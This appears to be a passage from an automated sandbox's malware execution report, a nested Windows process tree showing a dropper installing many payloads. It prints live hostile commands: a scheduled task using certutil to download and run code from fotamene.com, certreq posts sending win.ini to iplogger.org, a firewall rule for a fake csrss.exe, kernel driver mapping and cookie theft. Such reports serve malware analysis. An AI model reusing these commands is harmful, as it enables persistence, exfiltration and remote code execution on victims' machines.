                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                        13⤵
                                                                                                                                                                                                                                                          PID:5248
                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\zemz1qe11nj\setup_10.2_us3.exe
                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\zemz1qe11nj\setup_10.2_us3.exe" /silent
                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                PID:4308
                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-M3HS2.tmp\setup_10.2_us3.tmp
                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-M3HS2.tmp\setup_10.2_us3.tmp" /SL5="$201EA,746887,121344,C:\Users\Admin\AppData\Local\Temp\zemz1qe11nj\setup_10.2_us3.exe" /silent
                                                                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                                                                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                  PID:4392
                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\ttcn5fanynd\kzmd3ob5k2h.exe
                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\ttcn5fanynd\kzmd3ob5k2h.exe" testparams
                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                PID:1524
                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\l51iwjuntnk\wh3loyyu0dx.exe
                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\l51iwjuntnk\wh3loyyu0dx.exe" /VERYSILENT /p=testparams
                                                                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                                                                    PID:4528
                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-7IGMV.tmp\wh3loyyu0dx.tmp
                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-7IGMV.tmp\wh3loyyu0dx.tmp" /SL5="$303C8,1611272,61440,C:\Users\Admin\AppData\Roaming\l51iwjuntnk\wh3loyyu0dx.exe" /VERYSILENT /p=testparams
                                                                                                                                                                                                                                                      10⤵
                                                                                                                                                                                                                                                        PID:5376
                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\pjrrff4gekt\nrdgll0aeuq.exe
                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\pjrrff4gekt\nrdgll0aeuq.exe" 57a764d042bf8
                                                                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                    PID:4296
                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /k "C:\Program Files\N08ZPAQ7LR\N08ZPAQ7L.exe" 57a764d042bf8 & exit
                                                                                                                                                                                                                                                      9⤵
                                                                                                                                                                                                                                                        PID:5292
                                                                                                                                                                                                                                                        • C:\Program Files\N08ZPAQ7LR\N08ZPAQ7L.exe
                                                                                                                                                                                                                                                          "C:\Program Files\N08ZPAQ7LR\N08ZPAQ7L.exe" 57a764d042bf8
                                                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                                                            PID:5700
                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\erwvio40gdi\IBInstaller_97039.exe
                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\erwvio40gdi\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
                                                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                        PID:1292
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-Q6HMJ.tmp\IBInstaller_97039.tmp
                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-Q6HMJ.tmp\IBInstaller_97039.tmp" /SL5="$1033A,14464800,721408,C:\Users\Admin\AppData\Local\Temp\erwvio40gdi\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
                                                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                                                                                          • Drops file in Program Files directory
                                                                                                                                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                          PID:4940
                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-FLPJ5.tmp\{app}\chrome_proxy.exe
                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-FLPJ5.tmp\{app}\chrome_proxy.exe"
                                                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                                                              PID:4976
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                "C:\Windows\system32\cmd.exe" /c ping localhost -n 4 && del "C:\Users\Admin\AppData\Local\Temp\is-FLPJ5.tmp\{app}\chrome_proxy.exe"
                                                                                                                                                                                                                                                                11⤵
                                                                                                                                                                                                                                                                  PID:4592
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                                                                                                    ping localhost -n 4
                                                                                                                                                                                                                                                                    12⤵
                                                                                                                                                                                                                                                                    • Runs ping.exe
                                                                                                                                                                                                                                                                    PID:5396
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                "cmd.exe" /c start http://dropskeyssellbuy.xyz/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=97039
                                                                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                                                                  PID:4348
                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\uxocmg2s2qk\vpn.exe
                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\uxocmg2s2qk\vpn.exe" /silent /subid=482
                                                                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                              PID:4204
                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\osmxa4ajg2b\fpfu4qdg4lv.exe
                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\osmxa4ajg2b\fpfu4qdg4lv.exe" /ustwo INSTALL
                                                                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                              PID:3432
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3432 -s 648
                                                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                                                PID:2748
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3432 -s 664
                                                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                                                PID:3772
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3432 -s 668
                                                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                                                PID:5212
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3432 -s 664
                                                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                                                PID:5392
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3432 -s 648
                                                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                                                PID:5748
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3432 -s 968
                                                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                                                PID:5528
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3432 -s 1144
                                                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                                                PID:3724
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3432 -s 1180
                                                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                                                PID:4304
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3432 -s 1212
                                                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                                                PID:6140
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3432 -s 1288
                                                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                                                PID:5324
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3432 -s 1280
                                                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                                                PID:5892
                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\aeggkxw0n3u\chashepro3.exe
                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\aeggkxw0n3u\chashepro3.exe" /VERYSILENT
                                                                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                              PID:4388
                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\w10no4gaexp\app.exe
                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\w10no4gaexp\app.exe" /8-23
                                                                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                              PID:4288
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\gtYgTTsqsGjTdEQLQgByEPWQcfGu\kdu.exe
                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\gtYgTTsqsGjTdEQLQgByEPWQcfGu\kdu.exe -map C:\Users\Admin\AppData\Local\Temp\gtYgTTsqsGjTdEQLQgByEPWQcfGu\driver.sys
                                                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                                                  PID:5684
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\w10no4gaexp\app.exe
                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\w10no4gaexp\app.exe" /8-23
                                                                                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                                                                                    PID:4292
                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\LRKNBitKGAtRBSlQqQOYBiXOdT\kdu.exe
                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\LRKNBitKGAtRBSlQqQOYBiXOdT\kdu.exe -map C:\Users\Admin\AppData\Local\Temp\LRKNBitKGAtRBSlQqQOYBiXOdT\driver.sys
                                                                                                                                                                                                                                                                      10⤵
                                                                                                                                                                                                                                                                        PID:2344
                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                                                                                                                                                                                                                                                                        10⤵
                                                                                                                                                                                                                                                                          PID:4244
                                                                                                                                                                                                                                                                          • C:\Windows\system32\netsh.exe
                                                                                                                                                                                                                                                                            netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                                                                                                                                                                                                                                                            11⤵
                                                                                                                                                                                                                                                                              PID:7072
                                                                                                                                                                                                                                                                          • C:\Windows\rss\csrss.exe
                                                                                                                                                                                                                                                                            C:\Windows\rss\csrss.exe /8-23
                                                                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                                                                              PID:6644
                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\WTGGMxNWXrtIVNiysoySUHG\kdu.exe
                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\WTGGMxNWXrtIVNiysoySUHG\kdu.exe -map C:\Users\Admin\AppData\Local\Temp\WTGGMxNWXrtIVNiysoySUHG\driver.sys
                                                                                                                                                                                                                                                                                11⤵
                                                                                                                                                                                                                                                                                  PID:6856
                                                                                                                                                                                                                                                                                • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                                                                                                                  schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                                                                                                                                                                                                                                                                  11⤵
                                                                                                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                  PID:6204
                                                                                                                                                                                                                                                                                • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                                                                                                                  schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
                                                                                                                                                                                                                                                                                  11⤵
                                                                                                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                  PID:6760
                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
                                                                                                                                                                                                                                                                                  11⤵
                                                                                                                                                                                                                                                                                    PID:2728
                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe
                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"
                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                      • Modifies system certificate store
                                                                                                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                      PID:3620
                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\B7DC.tmp.exe
                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\B7DC.tmp.exe"
                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                        PID:4208
                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\B7DC.tmp.exe
                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Roaming\B7DC.tmp.exe"
                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                          • Checks processor information in registry
                                                                                                                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                          PID:4344
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                        "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"
                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                          PID:4680
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                                                                                                            ping 127.0.0.1
                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                            • Runs ping.exe
                                                                                                                                                                                                                                                                            PID:4760
                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe
                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"
                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                        • Checks whether UAC is enabled
                                                                                                                                                                                                                                                                        PID:4704
                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe
                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe"
                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                        PID:4252
                                                                                                                                                                                                                                                                        • C:\ProgramData\8807407.96
                                                                                                                                                                                                                                                                          "C:\ProgramData\8807407.96"
                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                            PID:5816
                                                                                                                                                                                                                                                                          • C:\ProgramData\5766821.63
                                                                                                                                                                                                                                                                            "C:\ProgramData\5766821.63"
                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                              PID:5844
                                                                                                                                                                                                                                                                              • C:\ProgramData\Windows Host\Windows Host.exe
                                                                                                                                                                                                                                                                                "C:\ProgramData\Windows Host\Windows Host.exe"
                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                  PID:5752
                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe
                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"
                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                PID:5900
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                  cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                    PID:5996
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                      taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                                                                                                                      PID:4856
                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe
                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"
                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                    PID:4768
                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                        PID:4844
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                          PID:6232
                                                                                                                                                                                                                                                                                • C:\Windows\system32\msiexec.exe
                                                                                                                                                                                                                                                                                  C:\Windows\system32\msiexec.exe /V
                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                  • Enumerates connected drives
                                                                                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                  PID:2724
                                                                                                                                                                                                                                                                                  • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                                                    C:\Windows\syswow64\MsiExec.exe -Embedding 1D68239EC59319F877C0220CB8CE966B C
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                                                                                    PID:3116
                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-3GFUB.tmp\vpn.tmp
                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-3GFUB.tmp\vpn.tmp" /SL5="$10338,15170975,270336,C:\Users\Admin\AppData\Local\Temp\uxocmg2s2qk\vpn.exe" /silent /subid=482
                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                  PID:4932
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                      PID:5368
                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
                                                                                                                                                                                                                                                                                        tapinstall.exe remove tap0901
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:5052
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                          PID:6516
                                                                                                                                                                                                                                                                                          • C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
                                                                                                                                                                                                                                                                                            tapinstall.exe install OemVista.inf tap0901
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                              PID:6752
                                                                                                                                                                                                                                                                                          • C:\Program Files (x86)\MaskVPN\mask_svc.exe
                                                                                                                                                                                                                                                                                            "C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                              PID:5064
                                                                                                                                                                                                                                                                                            • C:\Program Files (x86)\MaskVPN\mask_svc.exe
                                                                                                                                                                                                                                                                                              "C:\Program Files (x86)\MaskVPN\mask_svc.exe" install
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                PID:6680
                                                                                                                                                                                                                                                                                            • C:\Program Files (x86)\JCleaner\gl.exe
                                                                                                                                                                                                                                                                                              "C:\Program Files (x86)\JCleaner\gl.exe"
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                              PID:5016
                                                                                                                                                                                                                                                                                              • C:\Program Files (x86)\JCleaner\gl.exe
                                                                                                                                                                                                                                                                                                "C:\Program Files (x86)\JCleaner\gl.exe"
                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                  PID:5452
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                "cmd.exe" /c certreq -post -config https://iplogger.org/1hTS97 %windir%\\win.ini %temp%\\2 & del %temp%\\2
                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                  PID:4368
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\certreq.exe
                                                                                                                                                                                                                                                                                                    certreq -post -config https://iplogger.org/1hTS97 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\2
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                      PID:1184
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                    "powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1hTS97"
                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                      PID:4336
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                      "powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1EaGq7"
                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                        PID:5108
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                        "cmd.exe" /c "start https://iplogger.org/1EaGq7"
                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                          PID:1728
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\certreq.exe
                                                                                                                                                                                                                                                                                                          certreq -post -config https://iplogger.org/1EaGq7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\2
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                            PID:4316
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\certreq.exe
                                                                                                                                                                                                                                                                                                            certreq -post -config https://iplogger.org/1aSny7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\2
                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                              PID:3200
                                                                                                                                                                                                                                                                                                            • C:\Program Files (x86)\JCleaner\ww.exe
                                                                                                                                                                                                                                                                                                              "C:\Program Files (x86)\JCleaner\ww.exe"
                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                PID:4468
                                                                                                                                                                                                                                                                                                                • C:\Program Files (x86)\JCleaner\ww.exe
                                                                                                                                                                                                                                                                                                                  "C:\Program Files (x86)\JCleaner\ww.exe"
                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                    PID:3796
                                                                                                                                                                                                                                                                                                                • C:\Program Files (x86)\JCleaner\jayson.exe
                                                                                                                                                                                                                                                                                                                  "C:\Program Files (x86)\JCleaner\jayson.exe"
                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                    PID:4552
                                                                                                                                                                                                                                                                                                                    • C:\Program Files (x86)\JCleaner\jayson.exe
                                                                                                                                                                                                                                                                                                                      "C:\Program Files (x86)\JCleaner\jayson.exe"
                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                        PID:6120
                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                      "powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1aSny7"
                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                        PID:2496
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                        "cmd.exe" /c "start https://iplogger.org/1aSny7"
                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                          PID:4172
                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                          "cmd.exe" /c certreq -post -config https://iplogger.org/1aSny7 %windir%\\win.ini %temp%\\2 & del %temp%\\2
                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                            PID:3696
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                            "cmd.exe" /c certreq -post -config https://iplogger.org/1EaGq7 %windir%\\win.ini %temp%\\2 & del %temp%\\2
                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                              PID:4752
                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                              "cmd.exe" /c "start https://iplogger.org/1Gusg7"
                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                PID:5096
                                                                                                                                                                                                                                                                                                                              • C:\Program Files (x86)\DTS\seed.sfx.exe
                                                                                                                                                                                                                                                                                                                                "C:\Program Files (x86)\DTS\seed.sfx.exe" -pX7mdks39WE0 -s1
                                                                                                                                                                                                                                                                                                                                1⤵
